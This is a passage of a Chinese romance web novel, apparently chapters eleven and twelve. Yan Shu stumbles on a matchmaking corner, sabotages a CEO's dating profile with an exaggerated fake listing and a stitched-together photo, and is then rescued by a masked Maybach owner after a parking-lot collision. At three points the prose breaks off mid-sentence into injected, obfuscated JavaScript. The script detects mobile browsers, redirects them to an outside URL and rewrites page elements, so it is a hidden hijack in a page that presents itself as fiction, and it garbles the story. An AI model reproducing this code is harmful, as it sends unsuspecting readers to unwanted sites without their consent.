路墨回到公司前台,刚坐下,手机就震动了一下。 她低头一看,是秦砚奚的转账。 1000元,备注:“报销”。 路墨收了钱之后,原封不动转给言书,附言:“给你的咖啡报销费,收下!” 言书秒回:“???不用!” 路墨二话不说,直接支付宝转账1000过去。 言书又退回来。 路墨再转。 言书再退。 两人你来我往,僵持了整整五分钟,最终言书举白旗投降,发来一个“跪了”的表情包,才乖乖收了钱。 路墨心满意足地放下手机,拿起言书给她的咖啡,准备好好品鉴一下好姐妹的手艺。 就在这时,旁边的前台姐姐凑了过来,手里也端着一杯咖啡。 “路墨,你今天也喝咖啡啊?”前台姐姐笑眯眯问。 路墨点点头,骄傲地晃了晃手里的杯子,语气颇为得意:“嗯!我好姐妹亲手给我做的。” 前台姐姐面言期待:“看起来很好喝的样子,我能尝一口吗?” 路墨大方地递过去:“当然!” 前台姐姐喝了一口,啧啧称赞:“味道不错,和库迪的好像!” 路墨一愣:“库迪?” 前台姐姐指了指自己那杯:“我今天买的特价美式,味道跟你这杯差不多。” 路墨狐疑地尝了一口自己的,又凑过去抿了口前台姐姐的。 味道真的一模一样。 路墨瞬间福至心灵。 “言言不会早就想到了吧。” 她放下杯子,嘴角一点点上扬,最后笑出了声。 前台姐姐一脸茫然:“怎么了?” 路墨咧嘴一笑,晃了晃手里的咖啡杯:“我这可不是普通的咖啡,这是我好姐妹亲手为我复刻的库迪咖啡,味道一模一样,有没有被她的手艺震撼到?” 前台姐姐:“……?” 与此同时,总裁办公室。 秦砚奚面无表情地看着桌上的咖啡,指尖在桌面上轻轻敲了两下。 江望知推门进来,一眼就看到熟悉的金色logo的咖啡,顿时了然。 “秦总,今天的咖啡……” “你喝了。” 江望知:“……” 一回生二回熟,江望知识趣地拿起咖啡退了出去,回到办公桌,默默喝完不属于他的黑咖啡。 意外地,黑咖啡似乎并没那么难喝。 他放下杯子,掏出手机,怀着“既然喝了人家的咖啡,总得给点反馈”的愧疚心理,又给秦砚奚发了条洋洋洒洒的200字小作文: 「秦总,今天的咖啡比昨天的更加醇厚,苦中带甘,余韵悠长,豆子的烘焙程度恰到好处,既保留了果香的清新,又不会过于酸涩。手冲的水温控制得极好,萃取时间精准,才能呈现出如此平衡的口感。不得不说,这位女生的咖啡技艺确实精湛,你真的不打算尝尝吗?」 信息发送成功,江望知佩服起自己的文采来。 不愧是985出来的高材生,哪怕是一杯他品不出门道的咖啡,也能编得天花乱坠。 * 周六,言书难得能睡个懒觉。 窗外阳光透过窗帘缝隙洒进来,在地板上投下一道金色的细线,空气中飘浮的尘埃都是懒洋洋的。 “言书!言书!” 卧室门被拍得“砰砰”响,嫂子急切的声音透过门板,硬生生将她从梦境中拽回现实 “唔,几点了?”言书迷迷糊糊地摸到手机,眯着眼睛看了一眼,早上七点半。 “才七点半……”她哀嚎一声,把脸重新埋进枕头里,“嫂子,今天周六啊……” 她今天既不用工作,也不用去给秦砚奚送咖啡,原本想着可以好好补个觉,过个清闲日子。 “我知道我知道,”嫂子语速飞快,“但小柚的跆拳道课临时改时间了,今天上午九点,我这边临时有事走不开,你能不能送她去一趟?” 言书:“……” 五分钟后,她顶着一头鸡窝似的乱发开门,整个人还没完全清醒,眼神飘忽地看着门口。 嫂子已经收拾妥当,拎着言柚的书包,把车钥匙塞进她手里:“你不是刚考出驾照吗?车我已经停楼下了,导航也设好了,直接跟着走就行。” 言柚站在一旁,穿着一身崭新的跆拳道服,小小一只,腰间一圈白带,模样看起来像个小武士。 “柚柚怎么突然想学跆拳道?”言书还处于梦醒与现实交界的混沌中,闭上眼睛问。 嫂子拎包出门,头也不回地摆摆手:“她自己非要报的,拗不过她。” 言书睡眼惺忪看向言柚:“你学这个干嘛?” 言柚眨了眨眼睛,一脸认真:“保命。” 言书:“……?” 半小时后。 言书开着车,载着言柚驶向隔壁区的跆拳道馆。 “所以……”言书打着哈欠,趁着红灯的间隙转头看她,“你学跆拳道,是为了保命?” 言柚用力点点头:“嗯,我这次考试考砸了。” 言书失笑:“你妈不会打你的,最多也就是唠叨几句。” 言柚幽幽地看了她一眼,表情是这个年纪不该有的沉重:“舅妈,如果我说我英语选择题全错呢?” 言书一愣:“全错?不可能吧?你就算全蒙A都能对几个。” 言柚自我辩解:“我是认真做的,没有蒙。” 言书:“……” 她沉默两秒,意识到问题的严重性,声音也跟着下沉:“……我懂。” 言书深沉地摇头,“一般只有认真做,才能完美避开所有正确答案。只有认真分析、深入思考、才能坚定地排除掉正确答案。” 言柚眼睛一亮,像是找到了知音:“对吧!我和爸爸现在还瞒着妈妈。” 红灯亮起,导航提示右转,言书轻打方向盘,语气语重心长:“你要有点远见,早挨一顿骂,早点解脱。” 言柚可怜兮兮:“……舅妈救我.” 言书把言柚送到跆拳道馆门口,看到小屁孩蹦蹦跳跳地跑进去,喊了一声:“挨揍别哭鼻子啊!” 言柚回头冲她做了个鬼脸,一溜烟钻进场馆。 言书站在门口,看了眼时间。 九点十分,距离下课还有四个小时。 回家太折腾,等会儿还得再跑一趟来接她,不如在附近找个地方打发时间。 阳光已带上炙热气息,街道泛着白光,空气中有一层透明的波纹在扭动。 言书抬手遮了遮眼,眯着眼往周围张望,寻了个方向走去。 不远处有家便利店,她推门进去,拿了个三明治,又顺手抓了瓶冰镇柠檬茶,结账后找了个靠窗的位置坐下。 言书给路墨发了条消息,等了一会儿,路墨没回。她又去骚扰其他朋友,无一人回复,估计都还在睡懒觉。 言书无奈地耸耸肩,干脆玩了两局消消乐打发时间,又开了一把王者,但队友不给力,输了之后也没心情再玩。 接着她又刷了会儿短视频,跟着屏幕傻笑几声后,最终还是兴致缺缺地把手机屏幕灭了。 言书托着腮,看着窗外街景,神思渐渐发散。 她还有一年就毕业了。 毕业论文一个字没动,实习单位也没找着。虽然嫂子的出版社愿意收留她,但那毕竟是亲情资源,不是她真正想走的路。 要不考公吧?一劳永逸,铁饭碗听起来确实诱人。 但考公太难了。 言书叹了口气,吸了一口柠檬茶。 冰凉的液体滑过喉咙,清洌酸爽,但冲不散她心里那点莫名的焦躁。 窗外,炽热的阳光烤得地面发烫,行人匆匆走过,大多撑着伞或戴着遮阳帽。 言书漫无目的地乱瞅,蓦地注意到不远处的街道聚集了一大群人,大多是中年大叔大妈,有的手里还举着牌子,三三两两挤成一团,气氛颇为热烈。 “这么热的天,这么多人聚在那儿干嘛?”言书小声嘀咕,“免费领鸡蛋?” 便利店的店员正在整理货架,听到她的自言自语,笑着解释道:“那是相亲角,每周六周日都很热闹。” “相亲角?”言书撇撇嘴,顿时没了兴趣。 无非是大龄剩男剩女,或者替儿女操心的父母在那儿互相打量、讨价还价,跟菜市场挑白菜似的。 她低头继续摆弄手机,但没过几分钟,又忍不住抬头看向窗外。 实在太无聊了。 反正闲着也是闲着,不如去看看? 抱着“纯属围观”的心态,言书把最后一口三明治塞进嘴里,拎着柠檬茶走出便利店,顶着烈日朝公园方向走去。 越靠近相亲角,人声越嘈杂。 其中不乏彼此的条件交换,以及一两句略带功利意味的推销词。 “我儿子985硕士,年薪50万,有房有车!”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16180339|180926||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “我女儿28岁,外企高管,长得漂亮,就想找个踏实过日子的!” “你家孩子什么学历?有照片吗?” 言书站在人群外围,听得一脸茫然。 大叔大妈们个个中气十足,嗓门堪比菜市场吆喝,三言两语就把自家孩子吹成了天之骄子,交谈时眼神精明、步步试探,有的已经掏出手机翻起相册,展示照片的架势堪比企业年会上的人才招聘。 言书走进,看到密密麻麻的资料介绍,不由得张大嘴。 这哪里是相亲角,这分明是神仙打架现场。 「男,32岁,博士,某公司VP,年薪300万+,淮川市内环有房,征28岁以下温柔贤惠女性」 「女,29岁,XX本硕,红圈所律师,年薪150万,爱好马术、高尔夫,寻门当户对男士」 「男,30岁,家族企业继承人,资产过亿,身高185,附照片,要求女方985本科以上,家境优越」 言书目瞪口呆。 要不是亲眼所见,她简直怀疑这些资料是从小说里复制粘贴出来的。 海归博士、金融新贵、红圈精英、家族继承人…… 每一份资料都仿佛在说:“我不需要相亲,是社会配不上我。” 而她此刻站在人群中,穿着宽松T恤、旧牛仔裤,手里提着半杯便利店买的柠檬茶,全身上下加起来不到两百块,像个误闯高奢晚宴的路人甲。 她这样的,怕是连出现在相亲角的资格都没有。 怀着既来之则安之的心态,言书继续向前走,一边走一边咋舌,心里默默吐槽:这是人才市场高端局吧。 她越看越觉得离谱,以至于开始怀疑起人生。 于是,感慨地掏出手机,给路墨发:「你们上流社会的相亲标准都这么恐怖的吗?」 发完消息,言书瞥见一张格外简洁的A4纸。 「秦砚奚,28岁,身高190,集团总裁,年薪保密,征30岁以下女性。」 言书刹住脚步,此秦砚奚是她正在“追”的秦砚奚吗? 他不像其他人那样附照片、亮条件、列清单,连“温柔贤惠”“孝顺持家”这种相亲常见关键词都没写,只简洁明了地写了两个字:“女性”。 秦砚奚资料前面围了两个大妈,一个拿着小本本记录,还有一个掏出手机拍照,嘴里念叨:“190,太高了,我女儿才166,走在他旁边就和小孩似的……” 只有165的言书:“……” 大妈又道:“也不放张照片,看来不太好看,下一个。” 言书把照片发给路墨:「这是你们秦总吗???」 半小时后,路墨的消息姗姗来迟:「是他是他就是他!!!!!!」 言书:「……」 她瞅见一串感叹号,回:「这么久才回?」 路墨:「刚睡醒!言言你怎么在相亲角?」 言书:「路过,好奇看了眼。」 言书问:「你老板不是渣男吗?不是不缺异性追求吗?为什么还要相亲?」 手机那头,路墨绞尽脑汁编理由,硬是憋出一句:「就因为他是渣男,所以他不敢告诉他爸妈,他谈的都是地下恋,你懂吗?分手了也好处理,所以他爸妈不知道他谈恋爱的事!」 言书缓缓吐出一个字:「6。」 不愧是渣男,骗人骗到相亲角来了。 言书心里愤愤不平。该怎么提醒满怀期待的大妈们:别信这人,他是惯犯,出.轨率也许高达百分之百的情场浪子? 一时半会儿想不出好办法,她只好顶着烈日折返便利店,先吹空调降降火。 刚坐下,路墨的消息又来:「言言,你在那能不能想办法破坏秦砚奚的相亲?」 真是心有灵犀。 路墨果然和她想到一块去了。 言书回复:「我也想破坏,但我总不能直接喊“此男是骗子”吧?谁会信?」 路墨沉默将近一个小时,最后发了个PDF过来:「你去打印一张,贴上去。」 言书点开一看,不禁笑出声。 路墨把秦砚奚的条件往差了写,但写得极其夸张。 「秦砚奚,28岁,身高168(穿上增高鞋),年薪10万(含年终奖、含公积金、含父母每月救济的三千),无房但有车(自行车),目前租住在郊区地下室,有网贷逾期记录,征信较差,性格暴躁,有家暴倾向,征25岁以下能吃苦耐劳的女性」 11. 第十一封 路墨刚放下手机,房门就被人敲响。 她趿拉着拖鞋去开门,一抬头便待在原地。 秦砚奚站在门口,脸色苍白,唇色泛着不自然的浅白。 “哥?”路墨下意识后退半步,心里直打鼓,“你怎么来了?我又惹您不快了吗?” 无事不登三宝殿,秦砚奚若不是来兴师问罪,怕是要来兴师问罪,他单独找她,只可能过来兴师问罪。 秦砚奚没回话,抬手掩唇低咳两声,声音哑得已经辨不出是他的嗓音。 沙哑中还带着点鼻音,他说:“不是。” 路墨视线越过秦砚奚,看向他身后,见他身后空无一人,忐忑不安问:“那您过来是?” 秦砚奚提了提手中的纸袋。 纸袋外形规整,材质讲究,印着香奈儿的LOGO,能看出是限量包装。 秦砚奚像是完成任务一样,将它递到路墨面前,“给。” 路墨疑神疑鬼地接过纸袋,打开一看,是香奈儿最近几年出的全套色号。 “太阳从西边出来了?”她大声惊呼,“你居然会给我买这个?哥你是不是被人夺舍了?” 秦砚奚不欲多言,见路墨收了口红,转身就走。 路墨凝视他略显疲惫的背影,原本狐疑的眼神渐渐被担忧替代。 她哥生病了。 好像病得不轻。 秦砚奚从小就是这样,生病也不说,难受就自己扛。 哎。 死要面子活受罪。 手中的口红套装沉甸甸的,路墨心里有些不是滋味。 秦砚奚不舒服,为什么还要给她买礼物? 路墨咬了咬下唇,心生怜悯,她哥最近真的太惨了。 白天是集团掌舵人,要处理上千号员工的琐事,晚上还要被妈妈逼着相亲,连周末都没得休息。 一周七天连轴转,身体哪能吃得消。 虽然平日秦砚奚对她凶巴巴的,说话一贯冷嘲热讽,但她也不是没心没肺的人。 毕竟,那是她哥啊。 路墨把情绪压下去,眼神变得坚定。 她得帮秦砚奚。 不能眼睁睁看他病着,还被拖去“被迫营业”。 路墨灵机一动,想到言书刚才在相亲角拍的照片,妈妈的“招亲启事”还挂在上面呢。 据她所知,妈妈最近给秦砚奚介绍的姑娘,全都是从相亲角物色的。 所以只要毁掉那张纸,不就能帮秦砚奚暂时“脱离苦海”?秦砚奚不就能少相几次亲了? 路墨本想直接让言书撕掉,但转念一想,她哪有那么好收买,一套口红可不够! 于是,她飞快打开电脑,修改了一份“黑料版”的相亲信息,发给言书。 只要贴上这份“改良版”,谁还敢给她哥介绍对象? 路墨越想越得意,忍不住给自己竖了个大拇指。 她真是太聪明了。 * 言书拿到路墨发来的“改良版”秦砚奚资料后,思忖如何让这份“黑料”更有说服力。 想到几个大妈说秦砚奚不露脸,她的灵感噌噌噌涌上心头。 言书打开微信,在通讯录找到林夏。 林夏她的发小,PS界的神级人物。江湖人称“林神手”,高中时靠PS技术一战成名。 她曾把校长的脸P到《蒙娜丽莎》上,挂在学校论坛,结果校长本人看到后不仅没生气,还笑呵呵地转发到教师群,夸她“有创意”。 她还将高中班主任的脸p到兵马俑上,于是一幅图四五十个兵马俑,个个都长着一张班主任的脸,眼神紧盯的目视同一个方向。 言书毫不犹豫地拨通林夏的电话。 “喂,小夏,江湖救急。” “又让我P什么?”林夏的声音懒洋洋的,背景音里还能听到键盘敲击声,估计她正在修图赚钱。 “帮我P张男人的照片。”言书说,“要丑一点的。” “……”林夏沉默,“你要干嘛?” “别问,反正不是干坏事。”言书停顿,补充道,“对了,不能用别人的照片,侵犯肖像权会被告的!” 林夏:“……那你让我P谁的脸?” 言书心思一动:“你等等!” 她翻开手机相册,将自己全家福发给林夏。 照片里有她爸严肃的方脸,她妈温柔的圆脸,她哥高冷的窄脸,她嫂子的瓜子脸,还有她小侄女肉嘟嘟的婴儿肥脸以及爷爷奶奶慈善的脸。 “你看着办。”言书豪气干云,“把我家人五官拼一起,看起来像个男的就行!” 林夏难以置信:“……你认真的?” “非常认真。” 电话那头传来一声长叹,紧接是林夏生无可恋的声音:“行吧,半小时后给你。” 挂断电话前,她又抛下一句:“言书,你怎么专坑家人?” 半小时后。 林夏不负她的期望,发来照片。 言书点开原图预览。 其实她家人的颜值一向在线,虽说不上惊艳绝伦,倾国倾城,但也绝非路人水准,走在街上被搭讪要微信是常态。 可当这些“优点”毫无章法地拼接在一张脸上,结果令人不忍直视。 照片上的“男人”有着她爸的方下巴、她妈的圆眼睛、她哥的窄鼻子,甚至还有她小侄女的婴儿肥脸颊……这男男女女老老少少的脸拼在一起,效果只能用两个字形容,惊悚。 眼睛太大,下巴太方,鼻子太窄,脸颊又莫名鼓出一块,整张脸像是被弗兰肯斯坦强行缝合的怪物。l 言书紧盯照片:「这是不是有点太丑了?」 林夏秒回:「你不是说要丑一点?」 言书无言以对。 算了,丑就丑吧,反正目的是劝退相亲大妈, 言书一咬牙,驱车前往最近的打印店,把照片打印出来贴到“改良版”资料上,还特意在旁边加了一行小字: 「本人长相如图,诚征不介意外貌的女性。」 打印完,她再驱车回相亲角。 言书刚贴完,就听到身后传来一阵骚动。 “哎哟我天,这谁啊?长成这样也好意思来相亲?” “这眼睛大得跟牛似的,晚上能吓哭小孩吧?” “还有这下巴,方得跟地砖似的,都能拿来锄地了!” 言书憋笑,功成身退。 秦砚奚,对不起了。 * 言书看了眼时间,距离言柚下课还有半小时,但跆拳道馆附近的停车场位置紧张,她决定提前过去占个车位。 她走向停车场,远远看到一辆黑色的迈巴赫停在其中,车身锃亮,线条流畅,在阳光下泛着低调但奢华的光泽。 言书对车不甚了解,但迈巴赫的标志还是认得的。 这车贵,贵得过分,是她这辈子都不敢点进价格详情页的存在。 她随意瞥了一眼,就收回视线,径直走向嫂子的车。 嫂子的车是一辆70万左右的宝马5系,保养得还不错,漆面光洁,线条优雅。 虽然没有迈巴赫张扬,但也足够体面 言书拉开车门,坐进驾驶座,打开空调。 等空调的凉风缓缓吹散车内的闷热后,她系好安全带,慢慢发动车子。 车子驶出停车位,言书打方向盘准备绕出去,就在这时,“砰”一声闷响,车身一震。 她慌忙踩下刹车,定睛一看,心凉了半截。 言书的车头本就不正,和迈巴赫也没多少距离,此刻因为后车前冲,现在她的车正亲密地亲吻迈巴赫的屁股。 那一瞬间,言书只觉得天旋地转,整个人都不好了。 她撞了一辆迈巴赫。 还是那种动一动就要天价维修费的存在。 言书深吸一口气,推开车门,迈步下车。 她的手指在发抖,但面上仍强装镇定。 她先检查自家宝马的车头,前保险杠明显变形,漆面蹭掉了一块,直愣愣地贴在迈巴赫后门的侧面。 迈巴赫的伤情虽不致命,但那道刮痕在阳光下反光显现出了四个字:你赔不起。 还没来得及心痛,身后一阵“咔哒”声响起。 言书转头,只见一辆崭新的白色保时捷Macan停在不远处,车头同样伤痕累累。 前格栅裂开,车漆被擦掉一块,伤得不轻。 车门一开,一男一女从驾驶座和副驾一前一后跳了出来,气势汹汹。 男人约莫三十岁出头,穿着一身黑色西装,手腕带了一块名表 他五官端正,但脸色阴沉,眉宇间透着不耐烦,眼神里带着居高临下的审视。 女人则踩着十厘米的JimmyChoo高跟鞋,一身香奈儿的修身连衣裙,妆容精致,长发微卷。 看到素面朝天的言书,她紧抿红唇,眼神满是轻蔑和怒意,仿佛言书是什么碍眼的脏东西。 “你怎么开车的?!”女人踩着高跟鞋“哒哒哒”地靠近言书,声音尖锐刺耳,“突然停下来干嘛?知不知道这是什么地方?这里一小时十块钱,你当游乐园遛车呢?” 不分青红皂白被人一顿骂,言书强压怒火,冷静 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16180340|180926||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 道:“前面有车要过,我得让行。” “让行?”女人冷笑,“你怎么不去让婚车啊?停车场这么窄,你还突然刹车,你真以为别人车上装了雷达啊?” 男人也走过来,语气冰冷:“你知不知道突然刹车有多危险?” “这个停车场限速5公里,你们刚刚明显超速,追尾本来就是你们的责任,别颠倒黑白。”言书抬眸直视男人,声音不卑不亢。 男人眉头一皱,估计没想到言书敢反驳,语气更加不善:“我们怎么开是我们的事,你突然停下就是你的责任。” 女人在一旁帮腔,涂着鲜红指甲油的手指指着言书的鼻子,眼角斜挑,语气刻薄:“就是,你知不知道我们这车多少钱?修一下够你几个月工资了。” 言书胸口起伏,手指微微攥紧。 嫂子的车虽然不算顶级豪车,但也要70万,可在这两人眼里,她就是个开破车的穷酸女,活该被他们指着鼻子骂。 “责任划分不是你们说了算。”言书尽量保持冷静,“等交警来了,自然会判定是谁的问题。” “交警?”女人嗤笑一声,眼神轻蔑,“你以为报警就有用?我告诉你,我老公认识交警队的,你全责跑不掉。” 男人也嗤笑:“就是,小姑娘,别不懂装懂,赶紧认了,赔钱完事,省得耽误大家时间。” 言书气得身体发颤。 这种时候越是情绪化越吃亏。 可越是压着怒气,越觉得胸腔像堵了团火,噎得发闷。 言书看了一眼撞得凹陷的车尾,又瞥向保时捷破了的前格栅,开口:“我的车是被你们追尾的,后保险杠都撞进去了,这还不算你们全责?” “放屁!”女人的嗓音陡然拔高,“明明是你莫名其妙急刹,我们根本来不及反应。” 言书抿唇不语,她不确定嫂子的车有没有装行车记录仪,如果没有,哪怕自己有理也说不清。 不对,还有监控。 言书抬头,寻找停车场的监控。 如果真的调监控,也不知道摄像头角度是否能拍清楚细节。 言书从没经历过这样的事。 不是从电视剧里看来的冲突,不是网络上的交通纠纷视频,而是货真价实地摊上了,毫无准备地被推上风口浪尖。 说不怕、不紧张都是假的。 其实她怕得要死。 镇定冷静都是装的,因为没人给她撑腰。 “小姑娘,别嘴硬了,赶紧认全责吧,你知不知道迈巴赫补一道漆要多少钱?把你卖了都赔不起。” 言书攥紧拳头,指甲陷入掌心。 她想据理力争,可下一秒,对方一句“监控坏了”就把她所有辩解都堵了回去。 男人说这个停车场最近监控系统在升级。 “我……”言书张了张嘴,声音哽在喉咙。 僵持之际,一道修长的身影穿过车辆,朝三人走来。 “发生什么事?” 低沉的男声带着沙哑的鼻音,从不远处飘来。 言书抬头,看到一个戴着黑色口罩和墨镜的高大男人逆光走来。 他穿着一件普通的白色T恤和黑色牛仔裤,脚上是一双干净的板鞋,看似随意,但因他挺拔的身形和凌厉的气场,将那一身最平凡的穿搭穿出了电影镜头里的质感。 等男人走近,言书看得更清楚了些。 他戴着黑色口罩与墨镜,头发略长,黑而蓬松,暴露在外的皮肤很白。 哪怕看不清全貌,光凭身形与步伐,就能察觉出一种与环境格格不入的疏离与冷峻。 女人本来还在咄咄逼人,看到男人的第一眼就本能地往后一退,高跟鞋踩到一颗碎石,身子一歪,险些崴了脚。 “这位先生。”男人整了整腕表,语气变得温和有礼,“是这个小姑娘急刹车,导致连环追尾。我们正准备报警处理。” 言书的心一紧,呼吸变得滞涩。 这辆迈巴赫的车主多半就是眼前这个男人。 男人墨镜后的目光似乎落在她脸上,虽然言书看不清他的表情,但那道视线如有实质,让她不由自主地绞紧了衣角。 无论如何,言书还是想解释:“我没有乱刹车,我要靠边让前方的车” 迈巴赫车主没有说话,而是弯下腰,从地上捡起一片闪着银光的东西。 是言书刚才不小心掉落的发卡。 他将发卡呈在言书面前,问:“是你的吗?” 黎迎接过发卡,“是、是的,谢谢。” “你的手在抖?”迈巴赫车主靠近一步,“受伤了?” 12. 第十二封 出乎意料的温柔语气让言书鼻子一酸。 她原本绷紧的神经倏地松了一寸,本以为等来的会是严厉的质问、冷漠的指责,没想到对方第一句话竟是温声关心。 言书一时间有些分不清现实和错觉。 同样是开豪车的人,有钱人之间的差距,竟然也可以这样大。 秦砚奚转身走到车后备厢,取出一把黑色折叠伞,在撑开的瞬间,微微侧身,将伞面倾向言书这边,遮住她头顶毒辣的日光。 伞柄落在他指尖。 他的手骨节分明,青筋浅浮。 这人真的好温柔啊。 有点想哭。 “他们骗人……”言书吸了吸鼻子,指着自己车尾的凹陷,“是后面先撞上来的,我才碰到您的车。” 秦砚奚点头:“嗯,好的。” 接着,他转向那对男女,温润如水的语气陡然转冷,低声问道:“谁说这里没有监控?” 女人脸色刷地变白。 男人强撑着辩解:“昨天管理员亲口说的,要不您问问?先生是她撞了您的车。” “她想撞就撞,”秦砚奚说,“人没事就行。” 言书呆住。 虽然很感动,但这话说得就好像是她故意撞他车。 “倒是你们。”秦砚奚慢慢收回目光,“欺负一个小孩,把责任推给她?” 言书又被感动了一次,谢谢男人愿意无条件相信她,但她真的不是小孩。 “我车上有360度行车记录仪,可以回放。” 话音落下,女人踩着高跟鞋的脚不安地挪动,精心打理的卷发黏在颈侧,男人则强作镇定解释:“这个可能是误会……” 秦砚奚已经拨通报警电话:“您好,我要报案。” 言书望着秦砚奚线条利落的侧脸,看到他耳后有一道浅浅的疤痕,藏在短发阴影里若隐若现。 他说话时喉结微微滚动,沙哑的嗓音混着轻微的鼻音,像是感冒了。 他生病了吗? 言书还没来得及细想,就听到秦砚奚对电话那头说:“对,停车场事故,需要调取监控。” 挂断电话后,秦砚奚语气恢复温和:“要喝水吗?” 言书一颗心起起落落,自己的双腿还在无意识发抖。她本能地摇了摇头,又反应慢半拍地点了点头。 秦砚奚看出她的窘迫,笑了一下,笑容不算明显,又藏在口罩下,言书并没有看到。 他从车里取出瓶装水,拧开瓶盖才递给言书。 言书接过水,指尖不小心碰到他的指尖,她急忙缩回手。 秦砚奚没多说什么,撑伞,带她往阴凉处走,边走边问:“第一次出事故?” “嗯。”言书喉咙干得发紧,一开口就咳了两声。她局促地低头,“咳咳那个,您的车…” “保险会处理。”秦砚奚看了眼手表,“倒是你,需要去医院吗?” “不用。”言书摇头。 她攥紧矿泉水瓶,塑料瓶在她掌心发出细微的咯吱声,“今天谢谢您。” “无妨。”秦砚奚偏头咳嗽起来,修长的手指抵在唇前。他清了清嗓子,声音愈发沙哑:“不是你的错。” 言书不自觉地向前半步,关心问道:“您生病了吗?” 秦砚奚微微怔忡,抬手将口罩往上拉了拉,声音闷在布料后:“嗯,小感冒,喉咙有点儿难受。” 言书想起她早上出门背的包里面有未开封的润喉糖,于是她顶着太阳,三步并作两步跑到车旁边,抓起润喉糖又返回:“我这里有……” “谢谢。”秦砚奚低声说,但随即又温和地拒绝,“你留着自己吃吧。” 可下一秒又抑制不住地咳嗽。 言书看得心头一揪,也顾不上矜持,直接掏出润喉糖递过去:“这个很管用的,您试试?” 秦砚奚垂眸看着润喉糖,又看向言书。 小孩的眼睛亮晶晶的,盛满不加掩饰的关切,像是林间的小鹿,纯净得不掺一丝杂质。 半晌,秦砚奚伸手接过,两人指尖再次相触。 这次言书没有急着躲开,而是轻轻将糖推入他掌心。“薄荷味的,会舒服些。” “谢谢。” 言书脸一红,结结巴巴说,“我、我过去给我嫂子打个电话。” 她走到另一侧,拨通嫂子的电话,简单说明情况,嫂子一听就急了:“你没经验,我马上过来!” 挂断电话后,言书松了口气,心里还是有些忐忑。她转头看向迈巴赫车主,他站在一旁,口罩下的表情看不真切,但他明显吃了薄荷糖,饱满的喉结随着吞咽的动作上下滚动了下。 好性感哦。 言书想。 要是能看到他的脸就更好了。 “您要不要去医院看看?”言书慢吞吞地挪到他身边,“最近流感很厉害。” 秦砚奚摇头,看到言书泛红的耳尖,唇角几不可察地弯了弯:“家里有药。” “哦哦,好的。” 没过多久,一辆白色奥迪疾驰而来,停在路边。 车门一开,嫂子洛依踩着高跟鞋快步走过来。 “言书!”洛依一见到言书,抓着言书的手上下前后打量,着急道,“你没事吧?撞到哪里没有?头晕不晕?要不要去医院?” 言书摇头:“我没事,就是车被追尾了。” 嫂子松了口气,而后皱眉看向秦砚奚,眼神略带警惕。 她将言书拉到一旁:“你先签字,把委托书给我,这边我来处理。” 说完,她从包里抽出一份委托书,递给言书:“签完字你就先走,去接柚柚,这边交给我。” 言书乖乖签字时,洛依温柔地替她整理好凌乱的衣领:“接完柚柚直接打车回家,好好休息,别想太多。” “好的,嫂子。”她不能再给嫂子添麻烦了。 今天这场事故已经够让人头疼,她不能再让嫂子分心。 言书转头看向站在一旁的秦砚奚:“那我先走了,今天真的谢谢您。” “我送你过去吧,我的助理会替我处理。” 言书连忙摆手:“不用不用,我自己打车就行。” “我顺路。” 言书耳尖微热,但还是坚持道:“真的不用麻烦您了。” 秦砚奚没再强求,颔首:“注意安全。” 言书松了口 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16180341|180926||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 气,朝他浅浅鞠躬:“谢谢您,还有我不是小孩,我已经二十一岁了。” 说完,她转身快步走向路边,伸手拦了一辆出租车。上车前,她忍不住回头看了一眼,发现秦砚奚站在原地,脸朝着她的方向。 言书朝他挥了挥手,随后钻进车里。 她走后,洛依深吸一口气,走到秦砚奚面前,语气诚恳:“先生,今天的事情真的很抱歉,我妹妹第一次遇到这种事,处理得不够妥当,给您添麻烦了。” “无碍,不是她的错。” 洛依松了口气:“她年纪小,没经验,希望您别介意。” 秦砚奚看了她一眼,淡淡道:“她很勇敢。” 洛依一怔:“谢谢您。” 秦砚奚说:“她第一次面对这种事,会害怕。你多关注下她的状态。” “嗯,我会的。” 不过,秦砚奚的担忧显然是多余的。 另一边,言书回到家。 她坐在沙发上,抱着抱枕,和路墨视频通话,绘声绘色地讲述今天的遭遇。 “……然后他就站在那儿,戴着口罩和墨镜,声音特别低,问我有没有受伤。”言书一脸花痴的表情,“小墨,你是没看到,他气场超强,那对情侣一见到他,瞬间怂了!” 路墨在屏幕那头翻了个白眼:“所以你就被他的霸总光环迷住了?” 言书捧着脸,点头如蒜捣:“我决定收回之前的话,我爱霸总,尤其是成熟温柔的霸总。” 因为男人感冒的缘故,声音说不上好听,但就是让她念念不忘。 路墨:“……” 她无语地揉了揉太阳穴:“成熟温柔的没有,冷漠毒舌的倒是有一个,你要不要?” 言书果断拒绝:"不要。" 说完,她又唉声叹气:“唉,忘记问他叫什么了。“ 路墨:“说不定人家已经结婚了呢,你就别想了。” 